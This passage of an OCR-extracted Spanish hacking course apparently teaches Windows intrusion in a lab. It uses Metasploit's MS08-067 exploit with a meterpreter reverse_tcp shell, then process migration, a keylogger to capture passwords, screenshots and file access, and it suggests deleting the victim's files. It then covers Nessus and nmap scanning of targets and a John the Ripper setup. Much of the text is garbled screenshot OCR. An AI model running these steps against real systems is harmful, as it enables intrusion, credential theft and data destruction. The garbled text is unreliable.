ing ‘Mamory - Corrupt Lon

tap
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Ahora ejecutamos ese exploit que esta en exploit/windows/smb/ms08_067_netapi.
Para ello usamos el comando use.

root@kali: ~

=Microsoft Windows

on YWwlnerability

- = .
I0LCV1iewel

Arbitrarv File

yrrupTion
emory Corruption

Cormuption

Entramos en el host remoto. Para ello ponemos set RHOST y la IP de la victima.

root@kali: ~

Matching Modulas

snapshot
rile

Windows

sual studio msmask
Ovarflc

rosotTt Windows
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root@kali: ~

Archivi Editar Ver Buscar Terminal Avuda

Heguired Description

callization
odule is
e rvice packs.
Service (a
1. Windows X
events, but
n subs ent attempts. This
s modute;Tull support for-NX bypass
s, 1% still inl development.

ecurity/bulletin/M
‘'dcarpc -ms-netapl

Esl exploit

Entramos en nuestro host y vemos que payloads podemos usar. Para ello
entramos con set LHOST y nuestra IP, y luego mostramos los payloads con show
payloads.

root@kali: ~

bweneric xoo

Raflactive DLL

tcp wormal Reflective DLL
or Win/)

Heflective

Reflective

Reflective

Cargamos el payload meterpreter para controlar la shell del Server 2003. Con esto
lo que hacemos es ejecutar una consola de comandos interna de la victima para
poder controlaria.
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root@kali: «~

Archiwe Editas Ver Buscar Terminal Ayuda

, Revarse
vncinject/

, Reverse

exploit|( = sat PAYLOAD windows/meterpreter/reverse tcp
IAD windows/meterprete

oit

Ejecutamos ya el exploit meterpreter simplemente escribiendo meterpreter.

root@kali: ~

Nndows,/ meterpreter/ revear

20 .21 :4444

ica Pack 2 lang:
daefaulting

L r'q A

meterpreter > [j

Con esto ya estamos dentro del Windows 2003 Server. Podemos verlo con sysinfo.
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Examine y sjscute aplicaciones instaladas root@kali: ~

Archivoa Editar Ver Buscar Terminal Ayuda

ck 2 L ang : Unknown

, dafaulting to English

NX)

=192 1682631 :3193)

Con ps vemos que procesos esta ejecutando el Windows 2003. Nos muestra el
ejecutable del proceso y el PID o identificador numérico del proceso.

root@kali: =

RSOSEGURIDADMAdministrato
AUTHORI TY\SYSTEM
UTHORITYA\NETWORK SERVIC
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITYNLOCAL SERVICI
AUTHORI TY\SYSTEM
WUTHORLTY\NSYSTEM

DADMAministrato

DMvVADminist rato

hetaerpreter > ps

Hay un proceso que es el explorer, lo buscamos y miramos que numero de
proceso tiene o PID, en este caso el 252. El explorer es el proceso que en los
sistemas Windows muestra la interface grafica. Un claro ejemplo es cuando en el
escritorio no nos aparecen los iconos, esto es debido a un fallo de este proceso.
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root@kali; ~

AUTHORITY\SYSTEM
AUTHORITY\SYSTEM

C:A\WINDOWS\Explorer

systamRoot\Systems3

CA\WINDOWS \syst

C:\WINDOWS\syst

A\WINDOWS\systam32

AUTHGRITY\SYSTE CAWINDOWS\systam32
AUTHORETY . SYSTE C A AWINDOWS",

AUTHORITY\SY CIAWINDOWS\ seystem3i?

\NETWORK SERVICE C:\WINDOWS\system32

NETWORK SERVIC

Ahora redirigimos ese proceso hacia nosotros con el comando migrate para
controlar su explorer (nada que ver con Internet Explorer). Escribimos migrate PID
(en mi caso 252).

root@kali: =

RITY\NSYSTEM
CURSOSEGURIDADNAdministrator

CURSOSEGURIDABNADmIndist ratorn

r"-',n_'jr'-—]? ing from 892 to 252.
[*] Migration completed su

meterpreter > i

Ahora le vamos a meter un keylogger. Los Keyloggers son programas que nos
muestra que esta haciendo la victima. Lo normal es que muestren todas las
pulsaciones del teclado, inclutendo contrasefias. Muchos Keyloggers nos permiten
configurarlos para que cada cierto tiempo nos mande a un correo electrénico que le
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indiguemos toda esa informacion, incluso con pantallas de lo que la victima esta
viendo. Vamos a usar el keyscan que es muy sencillo, ponemos keyscan_start.

root@kali: ~

Archiv Editar Ver Buscar Termmal Ayuda

-

F\SYSTEM
AUTHORITY\SYSTEM

ISEGURIDADNAdministrator

CLURSOSEGURIDADNAdminist rator

Para ver que realmente nos esta funcionando, vamos a hacer también de victima y
abrimos el Windows 2003 y escribimos algo en el notepad, lo que sea.
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o= b= = i cim | -

#h Server 2003 [Corriendo] - Oracle VM VirtualBox .

[B uncitied Notepad I
Fle Edt Format Wew Help
Hola amigos.

distart| | (3 B | & untitied - Notepad @& 39

Vamos al Metasploit de nuevo y ecribimos keyscan:dump_para qué muestre los
resultados hasta ese momento y vemos que muestra lo que se puso en 2003 server.

root@kali: ~

Archivo

Editar Ver Buscar Termunal Ayuda
LITssyC .8

AR LR
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Ahora veremos todo cuanto escriba por el teclado nuestra victima.
En el server hacemos lo que sea, como escribir algo en un block de notas.

e

i Server 2003 [Corriendo] - Oracle VM VirtualBox = 8

Securkty
-;"-r'ul'h;-.:r sk, .

. untitled - Notepad

Efe Edt Formst fiew Help
jejelel

vy Metwork
Flaces

| 4

oinparthda

istart| | (3 @ [ 4 untitled - Notepad @[ a2z
Ahora vamos a sacar un pantallazo de lo que esta haciendo. Para ello usamos el
comando screenshot que se encarga de realizar capturas de pantalla.
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root@kali: =

Archivae Editar Ver Buscar Termanal -1'?4.13

pack, defaulting to Englisl

G rootDkaly -

Esto nos da el directorio donde metera nuestro pantallazo y el nombre de jpeg.
Accedemos desde Kali a ese archivo y abrimos el jpeg. Vemos que sale
exactamente la misma pantalla que hay abierta en el Windows 2003.

Archivo Editar Ver Ir Marcadores Ayuda

MfNyYVbc.jpeg i | Q Buscar

Editar Ver Ir Ayuda

@008

willde.csy
Propiedades de la imagen v

General

MNombre:
MM yY Vbc jpeqg

oit.Nessus

Anchura:
800 pixeles

Altura:

600 pix eles
Tipo:

imagen JPEG

Tamafio del archivo:

25,1 kB x Additions

Carpeta: _ —

800 x 600 pixeles 25,1 kB do (25,1 kB)
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Ahora en el meterpreter usamos los comandos basicos de linux para movernos
dentro del sistema de la victima. Por ejemplo pwd para ver el directorio del Windows
2003 en el que estamos y Is para listarlo y que nos muestre el contenido.

root@kali: =

-] root@kalk: -

Ya podemos entrar en su sistema para borrarle archivos del sistema o de datos y
matar de un susto al administrador. Metasploit es mucho mas amplio, ire ampliando
cosillas cuando tenga tiempo, pero antes quiero sacar la guia de Armitage, es una
aplicacion grafica para Metasploit que os resultara mas sencilla de usar.

38



Nessus es una potente aplicacion de deteccion de vulnerabilidades muy usada tanto
por los hackers, como por los expertos en seguridad informatica cuando tienen que
realizar auditorias.
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Lo primero es descargarse el archivo de Internet, en mi caso es la version 5.2.1
para Debian, que es sobre lo que trabaja Kali Linux, pero si hay una version mas
actual mejor. Yo me lo he descargado en la carpeta /media/compartida, asi que
accedo a ese directorio e instalo desde alli. Al ser un archivo con extension deb,

usamos el comando dpkg.

root@kaliLinux: /media/compartida

Archivo Editar Ver Buscar Terminal Ayuda

186 , deb

0O do

prios instalados

[build N246G21] for Linux
} - 2013 Tenable Network Security,

Processing the Nessus plugins...

(B R RSB RRRR R BRI RERR B ERAARERRRRRRRER R R

ALl plugins loaded

stc/init.d/nessusd start
o canf lgure your scanner

. 'media /i ompar?i :

Ahora reiniciamos el Nessus.

actualmente.)

root@kaliLinux: fmedia.-"comp artida

Archivo Editar Ver Buscar Terminal A'J.ruda

ompartida# /etc/init.d/nessusd start

/media/compartida#

Abrimos un navegador y escribimos la direccion https://localhost:8834, 8834 es el

puerto por defecto en el que trabaja Nessus.
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* Lr‘.{- https://localhost: 8834 b e| [ v Google U‘.: {!7- ﬂ

i Most Visitedv [fOffensive Security “ Kali Linux "W Kali Docs KBExploit-DB Wy Aircrack-ng

@ This Connection is Untrusted

You have asked Iceweasel to connect securely to localhost:8834, but we can't
confirm that your connection s secure.

Normally, when you try to connect securely, sites will present trusted identification to
prove that you are going to the right place. However, this site's identity can't be
verified.

What Should | Do?

If you usually connect to this site without problems, this error could mean that
someone is trying to impersonate the site, and you shouldn’t continue. 1

e

Dependiendo del navegador usado, saldra una u otra pantalla, en cualquier caso
hay que aceptar las excepciones y afiadirlas.

* [r'j,- https://localhost 8834 _ » El [i"}"’ Google : q‘_! {} f

EiMost Visited~ [lOffensive Security N Kali Linux S Kali Docs KMExploit-DB Wy Aircrack-ng

Technical Details

| Understand the Risks

If you understand what's going on, you can tell lceweasel to start trusting this site's
identification. Even if you trust the site, this error could mean that someone is
tampering with your connection.

Don't add an exception unless you know there's a good reason why this site doesn’t use
trusted identification.

{ Add Exception... ]

Aceptamos el certificado de Nessus y lo confirmamos para que no nos vuelva a
salir esta pantalla.
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Add Security Exception

. You are about to override how lceweasel identifies this site.

Legitimate banks, stores, and other public sites will not
ask you to do this.

Server

Location: [httpSZHlDCElhOSt:BBB'qf ‘ [get Cert’:ﬁcate]

Certificate Status

This site attempts to identify itself with invalid | View... |
information. F— |

Wrnng Site

Certificate belongs to a different site, which could indicate an
identity theft.

Unknown Identity

Certificate is not trusted, because it hasn't been verified by a
recognized authority using a secure signature. =

Permanently store this exception

Confirm Security Exception | Cancel

Ya accederemos a la web de instalacion y configuracion. Damos al boton Get
started.
" Welcome to Nessus LE%]

* | —HLT’ __ilﬂ_(_ilhflst 6634 :-'ﬂ_,.

v €] |E3¥ Google al & &

51 Most Visitedv [l Offensive Security "\ Kali Linux "8 Kali Docs KBExploit-DB Wy Aircrack-ng

e

« High-speed vulnerability discovery, to determine which hosts are running which
services

« Agentless auditing, to make sure no host on your network is missing security patches

« Compliance checks, to verify and prove that every host on your network adheres to
the security policy you defined

« Scan scheduling, to automatically run scans at the frequency you select

« And more!

During the next steps, we are going to create an administrative account and register your
scanner with a Plugin Feed, which we will download. You will need an Activation Code
before you can use Nessus; if you do not have an Activation Code already, please go to
http:/Awww.nessus.org/register/ to get one now.

Get started >
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Ponemos un nombre de usuario y contrasefia que deberemos recordar. Pulsamos
Next.

{ Welcome to Nessus di]

R [_ﬂ https://localhost:8834/registe: = e| [v_' Aga Q) '{7

%

1 Most Visitedv [llOffensive Security "8 Kali Linux " Kali Docs KBExploit-DB Wy Aircrack-ng

First, we need to create an admin user for the scanner. This user will have administrative
control on the scanner; the admin has the ability to create/delete users, stop ongoing
scans, and change the scanner configuration.

Login: |Nyctipolo

PasSWOr(: [ssssssese

Confirm Password:

LA L L2 L J

< Prev Next >

Because the admin user can change the scanner configuration, the admin has the ability
to execute commands on the remote host. Therefore, it should be considered that the
admin user has the same privileges as the "root” (or administrator) user on the remote
host.

Aqui le ponemos un nombre falso, pero el mail debe ser bueno para que nos
manden la clave de activacion gratuita.

Welcome to Nessus - lceweasel |r’:, -'s-;;;_:_-.;_--,
File Edit View History Bookmarks Tools Help

i Welcome to Nessus 'E%_: l

* | (= https://localhost: 8834 /reqister ~ e| | ;¥ Google Cl'.} {} 'F

B Most Visitedv | Offensive Security W Kali Linux "\ Kali Docs KMExploit-DB Wy Aircrack-ng
| already have an Activation Code

| will use Nessus to scan my work network

I will use Nessus to scan my home network

* To use Nessus in a non-commercial home environment, you can get a
HomeFeed for free

First Name*: |Leopoldo |

Last Name*: |Sobrado |
Email*: [nyctipolo@gmail.com |

* All fields are required.
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Damos a Next para instalar los plugins.
File Edit View History Bookmarks Tools Help

| 5____-WE'.CIDH'IE to Nessus I ':I-_-"l

€ | @ https//localhost 8834/reqister v & |3 qle Ql <

B Most Visitedv [JlOffensive Security "% Kali Linux " Kali Docs KBExploit-DB W Aircrack-ng

Eﬂessus‘

Successfully registered the scanner with Tenable.
Successfully created the user.

Next: Download plugins >

Llegara un mail, le damos a activar el Nessus. Ademas vendra un coédigo de
activacion. Una vez activado se inicia el Nessus, que puede tardar un rato,
paciencia.

MNessus is initializing... = lceweasel - | O

File Edit View History Bookmarks Tools Help
| L} Nessus is initializing... uﬁi;? i

€ | & hrtps//localhost: 8234/10ading "’E| |E2v Google A W ﬁ.

BiMost Visitedv [lOffensive Security " Kali Linux "8 Kali Docs KBExploit-DB Wy Aircrack-ng

Nessus

vulnerability scanner

Nessus is initializing

Please wait...
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Cuando termine, metemos la licencia que nos mandaron por mail y luego iniciamos
el Nessus por comandos.

root@kali: ~

Archivo Editar Ver Buscar Terminal Avyuda
s ssusd start
$Starting Nessus

+
-+

Abrimos el navegador y escribimos la direccién de nuevo. Esperamos un momento.

Nessus s initializing... = lceweasel

File Edit View History Bookmarks Tools Help

MNessus is initializing... i 5% |

" |_ﬂ_-_ LDI:-_E_:.I’_'I.C.E_S_I_' 14 -. 3 _"’_e-[ !E'I"’ agle L W ‘:?

EfMost Visitedv [lOffensive Security "8 Kali Linux 8 Kali Docs KBExploit-DB Wy Aircrack-ng

Nessus

vulnerability scanner

Nessus is initializing

Please wait...

Ahora nos pedira un usuario y contrasefia, voy a poner Alumno y 123456 por
ejemplo.
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MNessus Home / Login = lceweasel
File Edit View History Bookmarks Tools Help

MNessus Home / Login
"‘I'E' w localhost f i g 't-'-J Bl L =5

55 Most Visited~ | [JllOffensive Security "8 Kali Linux “ Kali Docs KBExploit-DB W Aircrack-ng

{7y Nessus

Si da error creamos un nuevo usuario y damos yes a todo. Para eso se usa el
comando /opt/Nexus/sbin/Nexus-adduser.
root@kali: =

Archive Editar Ver Buscar Terminal Ayuda

1Is/sbin/nessus -addusear

(can upleoad plugins,

: system which allows you to restrict the hosts

right to

1 his own h
addusar manual for

this usar, and anter

an empty

by m |1 L3 -:..':t :I

Seguridad
o e e

have 'admin' privileges within the N

: t -'-.'!t ok 7 (y/m) [v] ¥
lsar added

root@hkali: =

Reiniciamos Nessus de nuevo.

Yyou may want

Yvou are done
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:~# Jetc/init.d/nessusd
$Shutting down Nessus

s~

Pinchamos en el menu Policies. Damos al boton New policy y a New Perform.

MNessus Home [/ Scans = lceweasel

File Edit View Histoary Bookmarks Tools Help

Messus Home [ Scans |

& | a . Localhost - trnl# ~ @ B Ok

=

5 Most Visited v IilDﬁ‘enswa Security W Kali Linux "8 Kali Docs ﬂErplmt-DE W Aircrack-ng

{ Nessus scans Schedules Palicies
Scans Lo
My Scans

This lolder is emply

Nos pedira el nombre de la policy, si es para una pracica de Windows XP ponemos
ese nombre por ejemplo y en Description la descripcion que queramos, no €s un
campo obligatorio. Pulsamos Next.

NEeSSUs Mome / FOUCIEs f YWWIZara | sy

@ | & ni localhost: & ' htmi+ zard/ed ] @ 8- W & “F"]

B Most Visited~ [JOffensive Security " Kali Linux "8 Kali Docs KJExploit-DB Wy Aircrack-ng

Step 1
Define your policy name, dascriplion, and post-scan editing preferances

Policy Mame
Windows XP

Description

Viulneabihdades

Allow Post-Scan Report -
Editing

Aqui no escribimos nada, bajamos a bajo del todo y pulsamos el botén Save.
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1 Messus Home /[ Policies / Wizard d w |
v '@ http: .lacalhcrst---- A html 5. html 2/ police zardled 506 7916-d Ve |v MSISVE Q U

S Most Visitedv [JlOffensive Security "W Kali Linux 8 Kali Docs KRExploit-DB Wy Aircrack-ng

R

S5H Pubiic Key Add File
SEH Privale key Add Fila
Passphrasa lor SSH

private kKey

Ahora pulsamos el menu Scan y damos al boton New Scan. Nos solicitara unos
datos, el nombre ponemos WindowsXP como en la Policy que hemos creado, en
Policy desplegamos y marcamos la que hemos creado y lo que es realmente
importante, en Targets ponemos la IP de la victima a la que vamos a atacar

posteriormente.
INESSUS NMOome f SCans F New >Can ﬂ - i
‘ 8 htto Llocalhost: 8834 /Mtml S htmli#/scansinew ve |v T o LL ‘ﬂ

B Most Visited~ [JJOffensive Security " Kali Linux "8 Kali Docs KJExploit-DB Wy Aircrack-ng

Basic Setlings

MNamea Windows XP

Schadula Seltings
Description

Emaill S ng
Policy Windows XP -
Folder My Scans -
s 192 168.20.182

Damos a Launch. Aparecera Running un tiempo mientras escanea sus
vulnerabilidades.
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I Nessus Home / Scans | 5 |

' __ﬂ_ I-I._' localhost 8834 /ntn el & 1ot i 'c_ |_EIV 1 -_-:i_-- -D. :U: G?

HMost Visited~ [JJOffensive Security " Kali Linux “& Kali Docs KBExploit-DB W Aircrack-ng

Scans Upload
My Scans n Name Stalus
Trash Windows XP () Running

= e . .

Cuando termine aparecera como Completed.

Messus Home [ Scans 1%

* -, localmast 3 (Tt E ve i~ L = iﬂ

|
EMost Visited~  [[flOffensive Secunty "W Kali Linux " Kali Docs  [Explon-DB Wy Aircrack-ng

Scans i eued
i My Scans
: My Scans [ 1 | Hame Lnsl Moditied = Slmius
!
Windows XP 1248 PM Compleisd

Pulsamos sobre el nombre que le dimos a nuestro escaneo y vemos el nimero de
vulnerabilidades segun su importancia.
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be Eat Yew History Hookmarks |ools Help

Messus Home / Scans [ Hosts | %P |

B & n tocalhost 28 34/t trmd i t i fShaf 34 3 fd { «~ & B~ ] Q < 9

|Most Visited™ JOffensive Security "8 Kali Linux " Kali Docs  ERExploit-DB Wy Aircrack-ng

Windows XP Expost Aud Trad

Scans » Hosls n o'l s e el e et [l slle

Hose Vilnerablifics = Scan Delalls
92 16m 20 102 BN I, v e
F b er by Somns
o1 ol LS Complel e
P ool Wi nlows WP
o W Local Scanner
Tamgss 1852 1680 182
G101 Time FriJan 9 1244:32 2015
£nd ima FaJdan § 124814 2015

Bl Pl T
Si pulsamos sobre esas vulnerabilidades saldran de una en una, con su nivel de
seguridad y un titulo explicativo.

TR S ERSE N SRIPE W r L=

8 | & rerps Nocathast 8254 e hild i - fa bifie v @ B> coogle a 4. =

B2 Most Vissted'w “Oﬂanmu—r Secunity ™, Kali Linux " Kali Docs nEIplmt-—DH W Aircrack-ng

Wosis 3 18218820182 » Vumersbiiies [ Hicle Diutis
Sevorty & Plugin Mame Piugin Family Couni sl Delalls
m MSEE-087 Agrosoll Windows Sacver Servic wWintoas 1 L 192 188 20, 182
MAC 08 00 27 &d 08 9
m MSO§-001 - Migrosolt Windoss SHME Yuinems Windoas | Q5 Mo osolt Wiedows XP
e it Ol Wiadoews XP Lod B it e
Sywlems
Microaoi Windows BME NULL Session Auth Wirkow's |
Stan time  FnJan @ 124433 2015
Erl [ Fri Jmn @ V24 13 2015
SMB Shgeving Fasgpuirad (EE T | 2
HE sl il
LT Liulipie Ethemal Deves Frame P aodeng Infor hlisc i
Vuwinermbilities
| wwo ] Mttt SYN scannee Porl s annes 3

L romofl WAk owet SUE Sarvice Dalacson Wrtom

Ya conociendo las vulnerabilidades de nuestra victima, tenemos que usar un
programa que las pueda explotar, para ello recomiendo MetaSploit. Para usar esas
vulnerabilidades, damos a Export y en el desplegable seleccionamos el tipo de
archivo deseado dependiendo de la aplicacion que le demos, en este caso
exportamos como Nessus.
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* i i iocalhast 5534 /htmiS himi® " L I HASFShat & TrAdc 1 fid o VE Inv el Q: = ﬁ

FmMost visited> [llOfMensive Security "W, Kali Linux W, Kali Docs KRExplon-DB W Aircrack-ng

Windows XP Eipot  w At Teas -
P s dain
Hosts > TRLISEZ0.1EZ > Vuinersbilties [ Hids Dalnis
POF
HTML
Seyary = Plupn Kome P1|.¢r| Family Comt Hosl Delalls
ooV
EEEE 500067 Mcronol Windows Server Servic. . Windows i L 19210820 182
MAC ol 00 FT & 08 =
EHEN 500000 Microsoht Windows SMB Vuinea . Windows ! os Microsalt Windows XF
e roes ol Wiraiows NP [ of Bl e

Syslems
Stad time  Fri Jan B L2445 2015
Erml tamua FriJdan @ 124853 2015
B Ciomrd ol

TR . —
Nos aparecera a la izquierda unos cuadros de vulnerabilidades, lo pasamos al
cuadro de la derecha arrastrandolos con el raton.

L roaofl WARKlows SIB NULL Setpion Acih Winones 1

SMB Signng Pl LLIE* 1

ensive Security W, Kall Linux "W Kali Docs [BExploit-DB Wy Aircrack-ng

HTML Chapter Seleclion

Avnllable Conlent Mepor! Conlent
Mo more corfent avalatie

WVulnerstiitien By Phugn

Vulnernteitiss By Hos

Hosts Summary [Executhee]

Ya con los archivos guardados, vamos al MetaSploit y lo importamos para empezar
nuestro ataque. Para ello disponemos del manual de MetaSploit
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NMAP es una aplicacion que nos permite ver los equipos activos de una red y
sacar diferente informacion, especialmente los puertos abiertos que nos seran de
gran interes para realizar ataques y saber que aplicaciones esta ejecutando, es sin
duda el escaner mas usado por los hackers. En Seguridad Informatica lo usamos
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mucho para comprobar que esten abiertos solo los puertos realmente necesarios y
tapar lo mejor posible los accesos externos indeseados.

Debe ser instalado en nuestro equipo, existe la version para Windows que
podremos descargar sin problema, o ejecutar sudo apt-get install en nuestro Linux
para instalarlo. Kali Linux dispone del NMAP ya instalado, asi que no nos sera
necesario estar instalando nada. Recuerdo que en Linux las mayuculas y las
minusculas no son lo mismo, asi que cuidado con las opciones.

Lo primero que vamos a ver, es como saber que equipos hay en una red de
ordenadores. Por ejemplo si sabemos que un equipo tiene la IP 192.168.20.15 o la
gue sea, ponemos esa misma |IP acabada en cero y ponemos /24 como se muestra
en la imagen. Esto lo que hace es que busca en una red que va desde la IP
192.168.20.0 hasta la 192.168.20.254. Es lo que se llama una mascara de subred
tipo C. Esto equivale a la mascara 255.255.255.0 que suelen tener los routers y
muchas redes con menos de 255 equipos.

Ejecutamos el comando nmap —sn 192.168.20.0/24 o la IP acabada en cero que
sea. Vemos que solo tengo la IP 192.168.20.15, que es la que tengo levantada en el
VirtualBox a parte de la Kali.

root@kalilinux; ~

Archivo Editar Ver Buscar Terminal Ayuda

Con la opcion —v nos detalla toda la red, buscando los equipos de uno en uno para
ver cual existe y cual no. El comando seria nmap -sn -=v 192.168.20.0/24
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root@kaliLlinux: ~

Archivo Editar Ver Buscar Terminal Avyuda

=Tule Wi ]

report Tor 192.16 42 [he down]

report for 192.16 B.243 ost down]

\ report for 1892.16 L [host down]
report

report
report

report fTo Qz. 1W0st down)
report for 192. 2 ost down]
\ report for 192 3 ( down]
report TO L. down ]
report for 192. g s [hest down)
- of 1 host. &t 18:12
host. at 18:12, E

anned in 2.8%
Rewvd: 2

Si queremos ver los puertos abiertos de un equipo concreto, en este caso de una
maquina con la IP 192.168.20.1 que he levantado, escribimos el comando nmap -
sS 192.168.20.1. Esta es una IP interna de mi red, concretamente de un servidor,
pero podemos poner por ejemplo la IP de un servidor web externo de Internet.
Como se muestra, este equipo tiene abierto los puertos 53, 111, 8080, 8081 y
10000, indicando ademas que estan open o abiertos y el servicio que corre en ese
puerto.

root@kaliLinux: ~

Archivo Editar Ver Buscar Terminal Avyuda

Starting Nmap 6.47 ( http://nmap.org ) at 2015-061-08 10:14 CET
Nmap scan repor F 37

P n rpcbind

‘tcp open http-proxy
open blackice-

[Cadmus Computer Systems)

up) scanned in 0.58 seconds

Con la opcion =v afadida nos diria los puertos de la red.
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root@kalilinux; ~

Archivo Editar Ver Buscar Terminal Avuda

—_—
R

ution of
ssolution c
~can at 18:17

s elapsed (166806 total ports)

domair
recbind

Ahora lo hacemos sobre un servidor externo, en este caso sobre scanme.nmap.org
con la opcion —=v y —=sS, vemos que nos da la IP del servidor y los puertos abiertos
con los servicios asociados.

root@kaliLinux; ~

Archivoe Editar Ver Buscar Terminal Ayuda

# nmap -sS -v sScanme.nmap.org

starting Nmap 6.47 ( http://mmap.org ) at 2015-01-68 10:18 CET
Initiating Ping ]

Scanning

~omple

Initiatir

Completed

Initiating

Scanning

total ports)

Read data files from:
Nmap done: 1 IP address

Raw packets

-
=

55



Existe tambien la opcion —=sT. Este escaneo es mas exacto, pero se guarda en los
logs de eventos, por lo que nos pueden pillar, por lo que no es muy recomendable
abusar de el.

root@kalilinux: ~

Archnvo Edital Ver Buscar Terminal Ayuda

6.61s elapsed
- o .l-_;l.-! =T .

domain
rpcbind
http-proxy
ckice-icecap
Jr-mgmt
:Al1:90 (Cadmus Computer

d data Tiles fTrom: Susr/bin/../share/nmap
Nmap done: 1 IP address (1 host |
Raw packets sent: 1 (<

-# nmap -sT -v 192.168B

Si al nmap le afiadimos la opcion =0 (o mayuscula), nos mostrara el sistema
operativo de la victima. En este caso vemos que es un Unix AlX.

root@kalilinux;: ~

Archive Editar Ver Buscar Terminal Ayuda

:~# nmap -0 scanme.nmap.org

Starting Nmap 6.47 ( http://rnmap.org )
Nmap scan report for scanme.nmap.org
s up (0.20s5
Not shown: SS97
STATE SE
open ssh
tp
nping-echo

"esults may 3 ) ) s wa could not find a east 1 open and

open Nt

» 0S guesses: IBM AIX 4.3 (91%), Denon AVR- receive

EN printer (91%), Dell P« ryvault

). ' ), Aastra A
samsung CLP-315W printe;
for host (test conditions non-

0S5 detection performed. Please report any incorrect raesults'at http://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 95.09 seconds

Para realizar un escaneo completo a una IP, ejecutamos nmap —p 1-65535 -T4 -A
-v 192.168.20.1. Es importante saber que nmap por defecto escanea solo los
puertos del 1 al 10000, con la opcion —p podemos poner todos cuantos deseemos,
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en este caso todos, del 1 al 65535. En este caso nos ha sacado el 33946 que antes
no habia descubierto.

starting Nmap 6.4/ ( http://nmap.org
NSE: | ded 118 scripts for scanning.
NSE: Script Pre-scanning.

Initiating ARP Ping Scan at 10:37
Scanning 192.168.20 [1 port]
Completed ARP Ping Scan at 10:37,
Initiating Parallel IS resolution of 1
Completed Parallel DNS resolution of
Initiating SY =¥ 2 -
Scanning 192.16¢

vared open

Completed SYN Stealth Scan at 10:37
Initiating Service scan at 10:37
Scanning 6 services on 192.16

scan at 10:3,
Initiating 0S5 detection (try #1) against
Retrying 0S detection (try #2) against 192
E3)

Retrying 0S detection (try against

3

Y bueno, eso viene a ser lo mas importante del nmap, como veis es una utilidad
muy simple para escanear puertos de forma muy rapida. Recordar que siempre
existe el comando man en Linux para obtener mayor informacion sobre los
comandos e ir ampliando conocimientos.

Ademas para los que os movais mejor en entornos graficos disponéis de ZeNMAP,
qgue es la version grafica del NMAP.
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John [he
Ripper

El John The Ripper es una aplicacion para desencriptar contrasenas por fuerza
bruta. Se basa en un diccionario de contrasefias que puede ser el que se incluye o
descargarnos uno que nos guste y lanzarlo.
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Para encontrar la contrasefia es necesario que esta se encuentre en el diccionario.
Légicamente no todas las claves del mundo se encuentran en todos los diccionarios,
estos se suelen basar en las contrasefias mas usadas por los usuarios.

La fuerza bruta consiste en usar un usuario e intentar autentificar con diferentes
claves. Todos los Linux por defecto disponen del usuario root como administrador, al
igual que los Windows usan Administrador y Administrator dependiendo del idioma
del sistema. Esto es un grave fallo de seguridad en los sistemas sobre los que se
basan los hackers para atacar diferentes sistemas y tomar control de ellos.

El instituto de Ciber Seguridad esparol o INCIBE, publico esta estadistica de los
ataques de fuerza bruta con los que los Hackers lograban atacar diferentes
servidores y lograr sus objetivos. Como vemos los usuarios root y admin. son los
mas usuales en diferentes plataformas SSH de Internet. En el caso de servidores
Windows, en lo que es usuario de administracion de LDAP, seria Administrador y

Administrator.

OO Soumiin
domuryd @oamin
root /12350

footSfalpine

rEmintalpine

admin/1 73456

W
e 0=

-
 iar
B s
s

)

ol res0 153

roatlll i%}
4%
144

143

a v
admin/adminll}

adrmn/ T oot
admin/passwlrd

athninf1234 147
admind/gwel23 141
admin/rooti@ 123 141

achwminy prswored 140
140
1359

135

adminyPiE sywilod
é_:"‘ [}

admin/12345%0L8

Ny 1s 29 3

-l',J"I'-I-""T'_'IJE.."l'.'.I| 1A%

admin/ 142536 1471

u e Y 2000 000 AN SO0 SO BUOD 000

Una de las aplicaciones mas usadas por los hackers para atacar estas
plataformas online es sin duda el John The Ripper, que sobre estos usuarios base,
lanzan sus ataques de diccionario.

El ejemplo que vamos a realizar no sera sobre un servidor externo para evitarnos
problemas legales, vamos a atacarnos a nosotros mismos so6lo para ver el
funcionamiento correcto de esta aplicacion.

Lo primero es descargarnos el programa, para ello ejecutamos wget (descarga) y

la direccion con el programa.

SO00
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root@kali: ~

Archivae Editar VYer Buscar Terminal Avuda
L S get http://www.openwa 11 .co . ohn/j /john- 1.8B.06 .tar.qz
2015-02-02 11:40:00-- http://www.operw

ll.com/john/j /john B.0-jumbo-1.tar.gz

lviendo www.opaenwall .com [ www . wall.com) ...

sctando con www.openwall .com | wall.com) |
Longitud: 30786455 [applicaticon/x-tar]
Grabando a: “john-1.8.8-jumbo-1.tar.gz"

1 | =

Si existe una nueva distribucion esta no funcionara, pero vamos a la web indicada
sin la ultima parte del enlace y vemos el archivo con el directorio completo y el
nombre de la dltima version.

Una vez descargado lo movemos al directorio /usr/share para evitar problemas
con el comando cp.

root@kali: ~

Archivo Editar Ver Buscar Terminal Avyuda

:~# cp john-1.8.0-jumbo-1.tar.gz

Entramos en el directorio indicado y lo descomprimimos. Al estar en formato tar.gz,
usamos tar —xzvf.

root@kali: fusr/share

Archivo Editar Ver Buscar Terminal Avyuda

:~# cd /usr/share/
usr/share# tar -xzvf john-1.8.0-jumbo-1l.ta r'.g:I

Entramos en el directorio de la aplicacion ya descomprimida /John-1.8.0-jumbo-
1/src/ con el comando cd.
Escribimos make clean generic y listo.
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root@kali: fusr/share/john=1.8.0/src

Archivo Editar Ver Buscar Termmnal Ayuda

-Wall on - § = -02 -fﬁmlf-*rjmq-ru;nter
-Wall -Wdeclaration-after-statament -02 -fomit-frame-pointer
-Wall -Wdeclaration-after-statement -02 -fomit-frame-pointer

-Wdeclaration-after-statement -02 -fomlit-frame-polnter

aration-after-statement -02 -fomit-frame-pointer

claration-after-statement -02 -fomit-frame-pointer

EED:_me_Q ﬂ]_fmt_g MDOS

.0 bench.o charset.o cc
. .0 idle.o inc.o
options.o pa .0 path.c
ordlist.o unsha

WEa¥ s T4V
jonn ../ un/unshadow
frun/unafs
ohn ../run/unafs
= «F LN '-If_llf]l_-'l'-_-
john . ./mun/unigue
del directorio " /fusr/share/iohn-1.8.0

SETEElohn=1. 8. 0/8re# make clean generic

Cambiamos al directorio /run.

root@kali: fusr/sharef/john=1.8.0/run

o Editar Ver Buscar Terminal Ayuda

cd runy

Ejecutamos el John con el comando ./john —-test.

root@kali: fusr/share/john=1.8.0/run

Archivo Editar Ver Buscar Terminal Ayuda
'john-1.8.0/src# cd
e/john-1.6.0# cd run/

| . il i F. e
yvhn=-1.8. 0/run#

., traditional

Tardara un poco, pero saldra algo asi.
